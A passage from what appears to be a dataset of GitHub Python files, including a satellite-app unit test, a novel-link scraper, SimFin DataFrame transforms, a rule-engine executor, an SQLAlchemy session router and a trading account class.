    self.assertFileExists(fn)\n        self.assertFileContent('''# created by SatelliteApp\nwdfiller.active=true\nwdfiller.url=https://wiki.hamatoma.de\n# separator ' ': possible modes cloud filesystem stress\nwdfiller.kinds=cloud\n# interval between 2 send actions in seconds\nwdfiller.cloud.interval=2\nwdfiller.cloud.directory=/opt/clouds\nwdfiller.cloud.excluded=cloud.test|cloud.huber.de\nwdfiller.filesystem.interval=2\nwdfiller.filesystem.devices=sda6|\nwdfiller.stress.interval=2\nhostname=testhost\n''', fn)\n\n    def testUninstall(self):\n        if DEBUG:\n            return\n        base.FileHelper.clearDirectory(self._configDir)\n        fnService = os.path.join(self._configDir, 'system/satboxx.service')\n        fnApp = os.path.join(self._configDir, 'bin/satboxx')\n        base.StringUtils.toFile(fnService, 'service...')\n        base.StringUtils.toFile(fnApp, 'application')\n        app.SatelliteApp.main(['-v3', f'--dir-unittest={self._configDir}', f'-c{self._configDir}',\n                               'uninstall', '--service=satboxx'\n                               ])\n        email = app.BaseApp.BaseApp.lastInstance()\n        self.assertIsEqual(0, email._logger._errors)\n        self.assertFileNotExists(fnService)\n        self.assertFileNotExists(fnApp)\n\n    def testHelp(self):\n        if DEBUG:\n            return\n        app.SatelliteApp.main(['-v3',\n                               'help', 'help'\n                               ])\n        application = app.BaseApp.BaseApp.lastInstance()\n        self.assertIsEqual(0, application._logger._errors)\n        self.assertIsEqual('''satboxx <global-opts> <mode> [<opts>]\n  Sends data via REST to some servers. Possible servers are WebDashFiller and Monitor.\n<mode>:\n  help [<pattern-mode> [<pattern-submode>]]\n    Prints a description of the application\n    <pattern-mode>\n      if given: each mode is listed if the pattern matches\n    <pattern-submode>:\n      if given: only submodes are listed if this pattern matches\nExamples:\nsatboxx help\nsatboxx help help sub''', application._resultText)\n\n    def testReload(self):\n        if DEBUG:\n            return\n        self._logger.log('=== expecting 1 error...')\n        app.SatelliteApp.main(['-v3',\n                               'reload', 'satboxx'\n                               ])\n        application = app.BaseApp.BaseApp.lastInstance()\n        self.assertIsEqual(1, application._logger._errors)\n        self.assertTrue(\n            application._logger._firstErrors[0].find('not processed') > 0)\n\n    def testDaemon(self):\n        if DEBUG:\n            return\n        self._createConfig()\n        self._logger.log('=== expecting 4 errors...')\n        app.SatelliteApp.main(['-v3', f'--dir-unittest={self._configDir}', f'-c{self._configDir}',\n                               'daemon', 'satboxx', 'satboxx', '--count=1', '--interval=2'\n                               ])\n        application = app.BaseApp.BaseApp.lastInstance()\n        self.assertIsEqual(4, application._logger._errors)\n        for item in application._logger._firstErrors:\n            self.assertMatches(r'status 405 \\[Not Allowed\\]', item)\n\n    def testReloadRequest(self):\n        if DEBUG:\n            return\n        app.SatelliteApp.main(['-v3',\n                               'reload', 'satboxx'\n                               ])\n        application = app.BaseApp.BaseApp.lastInstance()\n        self.assertIsEqual(1, application._logger._errors)\n        self.assertIsEqual('reload request was not processed',\n                           application._logger._firstErrors[0])\n\n    def testTestFilesystem(self):\n        # if DEBUG: return\n        fn = self.tempFile('reload.request', 'satboxx')\n        base.StringUtils.toFile(fn, '')\n        app.SatelliteApp.main(['-v3',\n                               'test', 'fs', '2', '2'\n                               ])\n        application = app.BaseApp.BaseApp.lastInstance()\n        self.assertIsEqual(6, application._logger._errors)\n\n\nif __name__ == '__main__':\n    # import sys;sys.argv = ['', 'Test.testName']\n    tester = SatelliteAppTest()\n    tester.run()\n","repo_name":"hamatoma/snakeboxx","sub_path":"unittest/app/SatelliteAppTest.py","file_name":"SatelliteAppTest.py","file_ext":"py","file_size_in_byte":6288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1377681493","text":"def main():\n    temperaturaA = (float(input()), input().upper()[0])\n    temperaturaB = (float(input()), input().upper()[0])\n\n    if temperaturaA[1] == temperaturaB[1]:\n        maisAlta = temperaturaA if temperaturaA[0] > temperaturaB[0] else temperaturaB \n    else:\n        if temperaturaA[1] == 'F':\n            converte = (temperaturaA[0]- 32) / 1.8\n            maisAlta = temperaturaB if temperaturaB[0]> converte else temperaturaA\n        else:\n            converte = (temperaturaB[0]- 32) / 1.8\n            maisAlta = temperaturaA if temperaturaA[0]> converte else temperaturaB\n    \n    print(maisAlta)\n\nif __name__ == '__main__':\n    main()","repo_name":"WeslleyIfpi/Semana-15---T1","sub_path":"t1q1.py","file_name":"t1q1.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42775404293","text":"import numpy as np\n\nfrom ActorClient import ActorClient\nfrom agents import CNNAgent\nfrom config import App\nfrom environments import Hex\nfrom networks import CNN\n\n\nclass OHT(ActorClient):\n    def __init__(self, auth, qualify, environment=None, agent=None):\n        super().__init__(auth=auth, qualify=qualify)\n        self.environment = environment if environment else Hex(size=7)\n        self.agent = agent if agent else CNNAgent(environment=self.environment, network=CNN.from_file(\"7x7/(1) CNN_S7_B1638.h5\"))\n\n    def handle_game_start(self, start_player):\n        player = {1: 1, 2: -1}\n        self.environment.reset(start_player=player[start_player])\n\n    def handle_get_action(self, state):\n        # CHECK IF OPPONENT HAS DONE A MOVE\n        previous_state = self.environment.state\n        state = np.array(state[1:]).reshape(self.environment.state.shape)\n        state[state == 2] = -1\n        opponent_moves = np.argwhere((state - previous_state) != 0).tolist()\n\n        if len(opponent_moves) == 1:\n            self.environment.play(tuple(opponent_moves[0]))\n\n        # DO A MOVE ON CURRENT STATE\n        move, _ = self.agent.get_move(greedy=True)\n        self.environment.play(move)\n\n        return int(move[0]), int(move[1])\n\n    def handle_game_over(self, winner, end_state):\n        super().handle_game_over(winner, end_state)\n","repo_name":"Da9elKH/it3105","sub_path":"Assignment 2/oht.py","file_name":"oht.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27342828480","text":"import BiQuGeDownloader\nfrom pymongo import MongoClient\nimport re\nfrom urllib.parse import urljoin\n\n\ndef d_links(url, db):\n    hunter = BiQuGeDownloader.BiQuGeDownloader()\n    str_of_result = hunter.open_url_return_str(url)\n    dict_of_chapter = hunter.get_contents(str_of_result, wanted=\"link\", baseurl=url)\n    i = 1\n    for id_of_chapter, (name_of_chapter, link_of_chapter) in dict_of_chapter.items():\n        filter_link = {'id_of_chapter': {'$eq': id_of_chapter}}\n        search_res = db.links_for_books.find_one(filter_link)\n        if not search_res:\n            db.links_for_books.insert(\n                {\"id_of_chapter\": id_of_chapter, \"name_of_chapter\": name_of_chapter, \"link_of_chapter\": link_of_chapter,\n                 \"status_of_visited\": 0})\n            print(\"%d links have added into database\" % i, \"the info as following: \")\n            print(id_of_chapter, name_of_chapter, link_of_chapter)\n            i += 1\n        else:\n            print(\"This link is existed, its id is %s\" % id_of_chapter)\n    # conn.close()\n\n\nhunter = BiQuGeDownloader.BiQuGeDownloader()\nstr_of_result = hunter.open_url_return_str('http://www.biqugex.com/')\nconn = MongoClient('localhost', 27017)\ndb = conn.novels\nlinks = re.findall('/book_\\d+/', str_of_result)\nj = 1\nfor link in list(set(links)):\n    print(\"#\"*100)\n    link = urljoin('http://www.biqugex.com/', link)\n    d_links(link, db)\n    print(j, link)\n    j += 1\nconn.close()\n\n\n","repo_name":"fq267/learn_mysql","sub_path":"download_novels_links.py","file_name":"download_novels_links.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"43404455336","text":"#!/usr/bin/env python\n\nimport sys; \nimport glob\nimport os\nimport re\nfrom optparse import OptionParser\nimport find_clades \nimport subprocess\nfrom reader import Opt\nfrom analyze import Analyze\n\n\n\n\nif \"__main__\" == __name__:\n\n    sys.setrecursionlimit(50000);\n    parser = OptionParser()\n\n    parser.add_option(\"-a\", \"--annotation\", dest=\"annotation\",\n                      help=\"The annotation file\")\n\n    parser.add_option(\"-c\", \"--clades\", dest=\"clades\",\n                      help=\"The path to the clades definition file\")\n\n\n    parser.add_option(\"-m\", \"--mode\", dest=\"mode\",\n                      help=\"Specifies the analysis to perform.\\n To summarize species tree use 0. To summarize gene \\ntrees use 1. For GC stat analysis use 2. For occupancy\\n analysis use 3. For frequency analysis use 5.\")\n\n    parser.add_option(\"-p\", \"--path\", dest=\"path\",\n                      help=\"path to the gene directory or species tree\")\n\n    parser.add_option(\"-r\", \"--rooting\",dest=\"root\",\n                      help=\"The rooting file\")\n\n    parser.add_option(\"-s\", \"--style\", dest=\"style\", type = int, \n                      help=\"The color style set\", default = 0)\n\n    parser.add_option(\"-t\", \"--threshold\", dest=\"thresh\",\n                      help=\"The bootstrap threshold\")\n    parser.add_option(\"-x\", \"--modelCond\", dest=\"modelCond\", default = None,\n                      help=\"The model condition that the occupancy map will be plotted for\")\n    parser.add_option(\"-y\", dest=\"newModel\", default = None,\n\t\t      help=\"The new order for model conditions\")\n    parser.add_option(\"-w\", dest=\"newOrder\", default = None,\n\t\t      help=\"The new order for clades\")\n    parser.add_option(\"-k\", \"--missing\", dest=\"missing\", default = 0,\n\t\t      help=\"The missing data handling flag. If this flag set to one, clades with partially missing taxa are considered as complete.\")\n    \n    parser.add_option(\"-o\", \"--output\", dest=\"label\", default = None,\n\n\t\t      help=\"name of the output folder for the relative frequency analysis. If you are using the docker it should start with '/data'.\")\n    parser.add_option(\"-g\", \"--outgroup\", dest=\"outg\", default = None,\n\t\t      help=\"Name of the outgroup for the hypothesis in relative frequency analysis specified in the annotation file, eg. Outgroup or Base.\")\n    opt = Opt(parser)\n\n    analyzer = Analyze(opt)\n    try:\n    \tanalyzer.analyze()\n    except ValueError:\n    \tprint(\"analysis failed!\")\n    \traise\n    \tsys.exit(1)\n\n","repo_name":"esayyari/DiscoVista","sub_path":"src/utils/discoVista.py","file_name":"discoVista.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"35"}
{"seq_id":"36868422456","text":"##########################################################################\n#\n# Various functions for transforming Pandas DataFrames and Series.\n#\n##########################################################################\n# SimFin - Simple financial data for Python.\n# www.simfin.com - www.github.com/simfin/simfin\n# See README.md for instructions and LICENSE.txt for license details.\n##########################################################################\n\nimport pandas as pd\nimport numpy as np\n\nfrom simfin.utils import apply, rename_columns\nfrom simfin.names import TICKER\n\n##########################################################################\n\ndef clip(df, lower, upper, clip=True):\n    \"\"\"\n    Limit the values of a DataFrame between the lower and upper bounds.\n    This is very similar to Pandas' `clip`-function, except that if you\n    only provide bounds for some of the columns, Pandas' `clip`-function will\n    set all the other columns to `NaN`-values, while this function will just\n    use the values from the original DataFrame.\n\n    For example, if `df` contains the columns PE, PFCF, PSALES and PBOOK, but\n    you only want to clip the values for PE and PFCF, you can pass dicts with\n    bounds for only those columns:\n\n    - `lower = {PE: 5, PFCF: 6}`\n    - `upper = {PE: 30, PFCF: 40}`\n\n    Using Pandas' `clip`-function (v. 0.25) this would result in the other\n    columns for PSALES and PBOOK to have only `NaN`-values, while this function\n    copies the original values from `df` for those columns.\n\n    Furthermore, this function can also set the values outside the bounds to\n    `NaN` instead of using the boundary values, which can distort statistical\n    analysis.\n\n    :param df:\n        Pandas DataFrame with the data to be clipped.\n\n    :param lower:\n        Dict or Pandas Series with the lower bounds for some or all of the\n        columns in `df`.\n\n    :param upper:\n        Dict or Pandas Series with the upper bounds for some or all of the\n        columns in `df`.\n\n    :param clip:\n        Boolean whether to clip/limit all values outside the bounds (True),\n        or if the values should be set to NaN (False). Note: When the values\n        are clipped it can distort statistical analysis of the data. But when\n        the values are set to NaN, it reduces the amount of data-points\n        available for the statistical analysis. You should try both options.\n\n    :return:\n        Pandas DataFrame similar to `df` but with clipped values.\n    \"\"\"\n\n    # Pandas' clip-function doesn't allow dicts with bounds for only some\n    # columns, so we convert them to Pandas Series which is allowed.\n    if isinstance(lower, dict):\n        lower = pd.Series(lower)\n    if isinstance(upper, dict):\n        upper = pd.Series(upper)\n\n    # Clip/limit the values outside these bounds, or set them to NaN?\n    if clip:\n        # Clip/limit the data between the lower and upper bounds.\n        df_clipped = df.clip(lower=lower, upper=upper, axis='columns')\n\n        # If the bounds were only for some columns, Pandas' clip has set all\n        # other columns to NaN, so we copy those values from the original data.\n        df_clipped = df_clipped.fillna(df)\n    else:\n        # Boolean mask for the values that are outside the bounds.\n        mask_outside = (df < lower) | (df > upper)\n\n        # Copy the original data and set the values outside the bounds to NaN.\n        df_clipped = df.where(~mask_outside)\n\n    return df_clipped\n\n##########################################################################\n\ndef winsorize(df, quantile=0.05, clip=True,\n              columns=None, exclude_columns=None):\n    \"\"\"\n    Limit the values in the DataFrame between `quantile` and `(1-quantile)`.\n    This is useful for removing outliers without specifying the exact bounds.\n\n    For example, when `quantile=0.05` we limit all values between the\n    0.05 and 0.95 quantiles.\n\n    Note that `inf` and `NaN` values are ignored when finding the quantiles.\n\n    :param df:\n        Pandas DataFrame or Series with the data to be limited.\n\n    :param quantile:\n        Float between 0.0 and 1.0\n\n    :param clip:\n        Boolean whether to clip/limit all values outside the quantiles (True),\n        or if the values should be set to NaN (False). Note: When the values\n        are clipped it can distort statistical analysis of the data. But when\n        the values are set to NaN, it reduces the amount of data-points\n        available for the statistical analysis. You should try both options.\n\n    :param columns:\n        List of strings with names of the columns in `df` to Winsorize,\n        and the rest of the columns are merely copied from `df`.\n        If `None` then Winsorize all columns in `df`.\n\n    :param exclude_columns:\n        List of strings with names of columns in `df` to exclude from the\n        Winsorization. If `None` then Winsorize all columns in `df`.\n\n    :return:\n        Pandas DataFrame or Series similar to `df` but with Winsorized values.\n\n    :raises:\n        ValueError: If both `columns` and `exclude_commons` are given.\n    \"\"\"\n\n    # Invalid arguments?\n    if columns is not None and exclude_columns is not None:\n        msg = 'Arguments columns and exclude_columns cannot both be set'\n        raise ValueError(msg)\n\n    if exclude_columns is not None:\n        # Winsorize all columns EXCEPT the ones given.\n        columns = df.columns.difference(exclude_columns)\n\n    if columns is not None:\n        # Winsorize SOME of the columns in the DataFrame.\n\n        # Create a copy of the original data.\n        df_result = df.copy()\n\n        # Recursively call this function to Winsorize and update those columns.\n        df_result[columns] = winsorize(df=df[columns], quantile=quantile,\n                                       clip=clip)\n    else:\n        # Winsorize ALL of the columns in the DataFrame.\n\n        # Boolean mask used to ignore inf values.\n        mask = np.isfinite(df)\n\n        # Lower and upper quantiles for all columns in the data.\n        # We use the boolean mask to select only the finite values,\n        # and the infinite values are set to NaN, which are ignored\n        # by the quantile-function.\n        lower = df[mask].quantile(q=quantile)\n        upper = df[mask].quantile(q=1.0 - quantile)\n\n        # Clip the values outside these quantiles, or set them to NaN?\n        if clip:\n            # Only use the axis-arg for a DataFrame, not for a Series.\n            axis = 'columns' if isinstance(df, pd.DataFrame) else None\n\n            # Clip / limit the values outside these quantiles.\n            df_result = df.clip(lower=lower, upper=upper, axis=axis)\n        else:\n            # Boolean mask for the values that are outside these quantiles.\n            mask_outside = (df < lower) | (df > upper)\n\n            # Set the values outside the quantiles to NaN.\n            df_result = df.copy()\n            df_result[mask_outside] = np.nan\n\n    return df_result\n\n##########################################################################\n\ndef avg_ttm_2y(df):\n    \"\"\"\n    Calculate 2-year averages from TTM financial data, which has 4 data-points\n    per year, and each data-point covers the Trailing Twelve Months.\n\n    This is different from using a rolling average on TTM data, which\n    over-weighs the most recent quarters in the average.\n\n    This function should only be used on DataFrames for a single stock.\n    Use :obj:`~simfin.utils.apply` with this function on DataFrames for\n    multiple stocks.\n\n    :param df:\n        Pandas DataFrame with TTM financial data sorted ascendingly by date.\n\n    :return:\n        Pandas DataFrame with 2-year averages.\n    \"\"\"\n    return 0.5 * (df + df.shift(4))\n\n\ndef avg_ttm_3y(df):\n    \"\"\"\n    Calculate 3-year averages from TTM financial data, which has 4 data-points\n    per year, and each data-points covers the Trailing Twelve Months.\n\n    This is different from using a rolling average on TTM data, which\n    over-weighs the most recent quarters in the average.\n\n    This function should only be used on DataFrames for a single stock.\n    Use :obj:`~simfin.utils.apply` with this function on DataFrames for\n    multiple stocks.\n\n    :param df:\n        Pandas DataFrame with TTM financial data sorted ascendingly by date.\n\n    :return:\n        Pandas DataFrame with 3-year averages.\n    \"\"\"\n    return (1.0/3.0) * (df + df.shift(4) + df.shift(8))\n\n\ndef avg_ttm(df, years):\n    \"\"\"\n    Calculate multi-year averages from TTM financial data, which has 4\n    data-points per year, that each covers the Trailing Twelve Months.\n\n    This is different from using a rolling average on TTM data, which\n    over-weighs the most recent quarters in the average.\n\n    This function should only be used on DataFrames for a single stock.\n    Use :obj:`~simfin.utils.apply` with this function on DataFrames for\n    multiple stocks.\n\n    :param df:\n        Pandas DataFrame with TTM financial data sorted ascendingly by date.\n\n    :param years:\n        Integer for the number of years.\n\n    :return:\n        Pandas DataFrame with the averages.\n    \"\"\"\n\n    # Start with the non-shifted data.\n    df_result = df.copy()\n\n    # Add shifted data for each year.\n    for i in range(1, years):\n        df_result += df.shift(4 * i)\n\n    # Take the average.\n    df_result /= years\n\n    return df_result\n\n##########################################################################\n\ndef rel_change_ttm_1y(df):\n    \"\"\"\n    Calculate 1-year relative change from TTM financial data, which has\n    4 data-points per year, and each data-point covers the Trailing Twelve\n    Months.\n\n    This is a light-weight version of :obj:`~simfin.rel_change.rel_change`\n    intended to be used as the `func` argument in the signal-functions.\n\n    This function can also be used directly on DataFrames for a single stock,\n    or on DataFrames for multiple stocks using :obj:`~simfin.utils.apply`\n\n    :param df:\n        Pandas DataFrame with TTM financial data sorted ascendingly by date.\n\n    :return:\n        Pandas DataFrame with 1-year relative changes.\n    \"\"\"\n    return df / df.shift(4) - 1\n\n\ndef rel_change_ttm_2y(df):\n    \"\"\"\n    Calculate 2-year relative change from TTM financial data, which has\n    4 data-points per year, and each data-point covers the Trailing Twelve\n    Months.\n\n    This is a light-weight version of :obj:`~simfin.rel_change.rel_change`\n    intended to be used as the `func` argument in the signal-functions.\n\n    This function can also be used directly on DataFrames for a single stock,\n    or on DataFrames for multiple stocks using :obj:`~simfin.utils.apply`\n\n    :param df:\n        Pandas DataFrame with TTM financial data sorted ascendingly by date.\n\n    :return:\n        Pandas DataFrame with 2-year relative changes.\n    \"\"\"\n    return df / df.shift(8) - 1\n\n##########################################################################\n\ndef max_drawdown(df, window=None, group_index=TICKER):\n    \"\"\"\n    Calculate the Maximum Drawdown for all stocks in the given DataFrame.\n\n    :param df:\n        Pandas DataFrame typically with share-prices but could have any data.\n        The DataFrame may contain data for one or more stocks.\n\n    :param window:\n        If `None` then calculate the Max Drawdown from the beginning.\n        If an integer then calculate the Max Drawdown for a rolling window\n        of that length.\n\n    :param group_index:\n        If the DataFrame has a MultiIndex then group data using this\n        index-column. By default this is TICKER but it could also be e.g.\n        SIMFIN_ID if you are using that as an index in your DataFrame.\n\n    :return:\n        Pandas DataFrame with the Max Drawdown.\n    \"\"\"\n\n    # Helper-function for calculating the Max Drawdown for a single stock.\n    if window is None:\n        # Calculate Max Drawdown from the beginning.\n        def _max_drawdown(df):\n            return df / df.cummax() - 1.0\n    else:\n        # Calculate Max Drawdown for a rolling window.\n        def _max_drawdown(df):\n            return df / df.rolling(window=window).max() - 1.0\n\n    # Calculate Max Drawdown. Use Pandas groupby if `df` has multiple stocks.\n    df_result = apply(df=df, func=_max_drawdown, group_index=group_index)\n\n    return df_result\n\n##########################################################################\n\ndef moving_zscore(df, periods, rolling=True, new_names=None,\n                  group_index=TICKER):\n    \"\"\"\n    Calculate the Moving Z-Score for all stocks in the given DataFrame.\n\n    :param df:\n        Pandas DataFrame e.g. with P/Sales ratios but could have any data.\n        The DataFrame may contain data for one or more stocks.\n\n    :param periods:\n        Integer with the number of time-steps to calculate Z-Score for.\n        If `rolling==True` then it is the length of the moving window.\n        If `rolling==False` then it is the minimum window-length before\n        the Z-Score is calculated.\n\n    :param rolling:\n        Boolean whether to use a rolling window (True), or to use all preceding\n        data-points (False).\n\n    :param new_names:\n        Dict or function for mapping / converting the column-names.\n        If `df` is a Pandas Series, then this is assumed to be a string.\n\n    :param group_index:\n        If the DataFrame has a MultiIndex then group data using this\n        index-column. By default this is TICKER but it could also be e.g.\n        SIMFIN_ID if you are using that as an index in your DataFrame.\n\n    :return:\n        Pandas DataFrame with the Moving Z-Score.\n    \"\"\"\n\n    # Helper-function for calculating the Moving Z-Score for a single stock.\n    if rolling:\n        # Calculate Z-Score for a rolling window.\n        def _moving_zscore(df):\n            x = df.rolling(window=periods)\n            return (df - x.mean()) / x.std()\n    else:\n        # Calculate Z-Score from the beginning.\n        def _moving_zscore(df):\n            x = df.expanding(min_periods=periods)\n            return (df - x.mean()) / x.std()\n\n    # Calculate Moving Z-Score. Use Pandas groupby if `df` has multiple stocks.\n    df_result = apply(df=df, func=_moving_zscore, group_index=group_index)\n\n    # Rename the columns.\n    if new_names is not None:\n        rename_columns(df=df_result, new_names=new_names, inplace=True)\n\n    return df_result\n\n##########################################################################\n","repo_name":"SimFin/simfin","sub_path":"simfin/transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":14331,"program_lang":"python","lang":"en","doc_type":"code","stars":279,"dataset":"github-code","pt":"35"}
{"seq_id":"13320808135","text":"from __future__ import annotations\n\nfrom abc import ABC, abstractmethod\nfrom concurrent.futures import Future, ThreadPoolExecutor\nfrom threading import Lock\nfrom typing import TYPE_CHECKING, Any\n\nif TYPE_CHECKING:\n    from adjudicator.Cache import Cache\n    from adjudicator.Params import Params\n    from adjudicator.rule import ProductionRule\n    from adjudicator.RuleEngine import RuleEngine\n\n\nclass Executor(ABC):\n    \"\"\"\n    Executor for rules.\n    \"\"\"\n\n    @abstractmethod\n    def execute(self, rule: ProductionRule, params: Params, engine: RuleEngine) -> Any:\n        \"\"\"\n        Execute the specified rule with the specified params.\n        \"\"\"\n        ...\n\n    @staticmethod\n    def simple(cache: Cache) -> \"Executor\":\n        \"\"\"\n        Return a simple executor.\n        \"\"\"\n\n        return SimpleExecutor(cache)\n\n    @staticmethod\n    def threaded(cache: Cache) -> \"Executor\":\n        \"\"\"\n        Return a threaded executor.\n        \"\"\"\n\n        return ThreadedExecutor(cache)\n\n\nclass SimpleExecutor(Executor):\n    \"\"\"\n    A simple executor that executes rules in the current thread.\n    \"\"\"\n\n    def __init__(self, cache: Cache) -> None:\n        self._cache = cache\n\n    def execute(self, rule: ProductionRule, params: Params, engine: RuleEngine) -> Any:\n        try:\n            return self._cache.get(rule, params)\n        except KeyError:\n            with engine.activate():\n                result = rule.func(params)\n            assert isinstance(\n                result, rule.output_type\n            ), \"ProductionRule output (type: %r) does not match ProductionRule output type: %r\" % (\n                type(result),\n                rule.output_type,\n            )\n            self._cache.set(rule, params, result)\n            return result\n\n\nclass ThreadedExecutor(Executor):\n    \"\"\"\n    A threaded executor that executes rules in a separate thread.\n    \"\"\"\n\n    def __init__(self, cache: Cache) -> None:\n        self._cache = cache\n        self._lock = Lock()\n        self._pending: dict[int, Future[Any]] = {}\n        self._executor = ThreadPoolExecutor()\n\n    def _on_result(self, rule: ProductionRule, params: Params, key: int) -> None:\n        with self._lock:\n            future = self._pending.pop(key)\n            assert future.done(), \"Future is not done\"\n            result = future.result()\n            assert isinstance(\n                result, rule.output_type\n            ), \"ProductionRule output (type: %r) does not match ProductionRule output type: %r\" % (\n                type(result),\n                rule.output_type,\n            )\n            self._cache.set(rule, params, result)\n\n    def execute(self, rule: ProductionRule, params: Params, engine: RuleEngine) -> Any:\n        try:\n            return self._cache.get(rule, params)\n        except KeyError:\n            key = hash((rule.id, params))\n            with self._lock:\n                try:\n                    future = self._pending[key]\n                except KeyError:\n                    future = self._executor.submit(rule.func, params)\n                    self._pending[key] = future\n                    future.add_done_callback(lambda _: self._on_result(rule, params, key))\n            return future.result()\n","repo_name":"NiklasRosenstein/python-adjudicator","sub_path":"src/adjudicator/Executor.py","file_name":"Executor.py","file_ext":"py","file_size_in_byte":3214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35593607362","text":"import typing as t\n\nfrom sqlalchemy import ClauseElement, Connection, Engine, Select\nfrom sqlalchemy import exc as sa_exc\nfrom sqlalchemy.orm import Session as SQLAlchemySession\n\n\nclass Session(SQLAlchemySession):\n    def get_bind(\n        self,\n        mapper=None,  # pyright: ignore [reportMissingParameterType]\n        *,\n        clause: ClauseElement | None = None,\n        bind: Engine | Connection | None = None,\n        _sa_skip_events: bool | None = None,\n        _sa_skip_for_implicit_returning: bool = False,\n        **kw: t.Any,\n    ) -> Engine | Connection:\n        try:\n            return super().get_bind(\n                mapper=mapper,\n                clause=clause,\n                bind=bind,\n                _sa_skip_events=_sa_skip_events,\n                _sa_skip_for_implicit_returning=_sa_skip_for_implicit_returning,\n                **kw,\n            )\n        except sa_exc.UnboundExecutionError as e:\n            # Make decision either suse master or slave instance based on clause\n            master_engine = self.info.get(\"master\")\n            slave_engine = self.info.get(\"slave\")\n            if issubclass(clause.__class__, Select) and slave_engine:\n                return slave_engine\n            if master_engine:\n                return master_engine\n            raise e\n","repo_name":"meetash/ash-dal","sub_path":"ash_dal/database/sync_session.py","file_name":"sync_session.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"27498442290","text":"import pandas as pd\nfrom logbook import Logger\nimport logbook\nimport globalConf\nglobal log\nlog = globalConf.getShareLogger()\n\nclass Account():\n    def __init__(self, all_money, unit, stop_profit, buy_type, create_type):\n        self.all_money = all_money\n        self.unit = unit\n        self.stop_profit = stop_profit\n        self.buy_type = None    # 1:做多；2:做空\n        self.sell_type = None  # 1:止损；2:获利回调; 3:30分钟固定卖出；\n        self.create_type = None  # 1:进场条件1；2：进场条件2 3：进场条件3 4: MA60判断进场\n        self.flag1 = 0  # 条件1进场标识 0：未进场； 1：已进场\n        self.flag2 = 0  # 条件2进场标识 0：未进场； 1：已进场\n        self.flag3 = 0  # 条件3进场标识 0：未进场； 1：已进场\n        self.flag4 = 0  # MA60进场标识 0：未进场； 1：已进场\n        self.flag5 = 0  # 网格策略进场标识 0：未进场； 1：已进场\n        self.buy_records = pd.DataFrame(columns=['buytime', 'buycount', 'buyprice', 'buymoney'])\n        self.avg_price = None\n        self.rate_df = pd.DataFrame(columns=['closetime', 'allmoney'])\n\n        self.sell_records = pd.DataFrame(columns=['selltime', 'sellcount', 'sellprice', 'avgprice', 'profit'])\n        self.remaining = 0\n\n    def printinfo(self):\n        print(\"总金额：\", self.all_money)\n        print(\"买入一个单位：\", self.unit)\n        print(\"止损点：\", self.stop_profit)\n        print(\"买入类型：\", self.buy_type)\n        print(\"进场类型：\", self.create_type)\n        print(\"交易情况：\", self.buy_records)\n\n    def buy(self, trade_time, create_type, buy_type, price, amount):\n        self.create_type = create_type\n        if self.create_type == 1:\n            self.flag1 = 1\n        elif self.create_type == 2:\n            self.flag2 = 1\n        elif self.create_type == 3:\n            self.flag3 = 1\n        elif self.create_type == 4:\n            self.flag4 = 1\n        elif self.create_type == 5:\n            self.flag4 = 5\n\n        self.buy_type = buy_type\n        # if self.all_money >= amount:\n        #     self.all_money = self.all_money - amount\n        #     self.buy_records.loc[len(self.buy_records)] = [trade_time, amount/price, price, amount]\n        #     log.info('买入' + '|' + str(self.create_type) + '|' + str(self.buy_type) + '|' + str(trade_time) + '|' + str(price) + '|' + str(amount/price) + '|' + str(amount))\n        # else:\n        #     log.info('余额不足，余额为：' + self.all_money)\n        if self.all_money >= amount:\n            self.all_money = self.all_money - amount\n            self.buy_records.loc[len(self.buy_records)] = [trade_time, amount/price, price, amount]\n            is_success = 1\n            self.remaining = self.remaining + amount/price\n            log.info('买入' + '|' + str(self.create_type) + '|' + str(self.buy_type) + '|' + str(trade_time) + '|' + str(price) + '|' + str(amount/price) + '|' + str(amount))\n        elif 0 < self.all_money < amount:\n            # log.info('余额不足，余额为：' + self.all_money)\n            self.buy_records.loc[len(self.buy_records)] = [trade_time, self.all_money / price, price, self.all_money]\n            is_success = 1\n            self.remaining = self.remaining + self.all_money / price\n            log.info(\n                '买入' + '|' + str(self.create_type) + '|' + str(self.buy_type) + '|' + str(trade_time) + '|' + str(\n                    price) + '|' + str(self.all_money / price) + '|' + str(self.all_money))\n            self.all_money = 0\n        else:\n            is_success = 0\n\n        return is_success\n\n    def sell(self, trade_time, sell_type, price):\n        self.sell_type = sell_type\n        sellcount = self.buy_records['buycount'].sum()\n        log.info('buy_type:' + str(self.buy_type))\n        log.info('price:' + str(price))\n        log.info('avgprice:' + str(self.avg_price))\n        log.info('sellcount:' + str(sellcount))\n        if self.buy_type == 1:\n            sellmoney = price * sellcount\n        elif self.buy_type == 2:\n            sellmoney = self.avg_price * sellcount * (1 - (price - self.avg_price) / price)\n        self.all_money = self.all_money + sellmoney\n        self.buy_records = self.buy_records.drop(index=self.buy_records.index)\n        self.create_type = None\n        self.buy_type = None\n        self.flag1 = 0\n        self.flag2 = 0\n        self.flag3 = 0\n        self.flag4 = 0\n        self.flag5 = 0\n        self.remaining = 0\n        log.info('卖出' + '|' + str(sell_type) + '|' + str(trade_time) + '|' + str(price) + '|' + str(sellcount) + '|' + str(sellmoney))\n        origin_buymoney = self.avg_price * sellcount\n        profit = sellmoney - origin_buymoney\n        log.info('盈利:' + str(profit))\n        self.sell_records.loc[len(self.sell_records)] = [trade_time, sellcount, price, self.avg_price, profit]\n\n    # def sellwithgrid(self, trade_time, sell_type, price, amount):\n    #     self.sell_type = sell_type\n    #     log.info('buy_type:' + str(self.buy_type))\n    #     log.info('price:' + str(price))\n    #     log.info('sellcount:' + str(amount))\n    #     if self.buy_type == 1:\n    #         sellmoney = price * amount\n    #     elif self.buy_type == 2:\n    #         sellmoney = 